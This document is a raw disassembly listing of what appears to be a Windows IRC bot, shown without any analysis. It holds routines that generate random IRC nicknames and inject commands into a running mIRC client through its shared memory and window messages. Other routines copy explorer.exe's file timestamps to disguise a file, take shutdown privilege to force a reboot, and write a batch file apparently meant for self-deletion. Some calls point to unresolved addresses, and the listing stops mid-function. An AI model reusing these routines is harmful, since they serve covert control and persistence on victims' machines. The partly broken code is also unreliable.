		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D98BC[esi]
		call	dword_4D0874
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D98BC[esi]
		call	dword_4D083C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D98BC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D98B8[esi], ebx
		mov	esi, dword_4D98BC[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4D08BC


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D98B8


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DFFD8
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D98C4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D9AC4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D98B8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_43D7E0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_43D4E0[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_43D7E0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2690A97h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27E0000h
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DFFDC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4D07F4
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4D0814
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27F07F6h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27F0000h
		call	dword_4D0878
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4D0830
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 280051Fh
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2800354h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4D0880
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4D0880
		push	ebx
		call	near ptr 2800000h
		nop
		push	edi
		call	near ptr 267093Fh
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4D08E0
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 28107D9h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 2810000h
		nop
		push	esi
		call	ebx


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4D0764
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4D08F4, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 27107FCh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
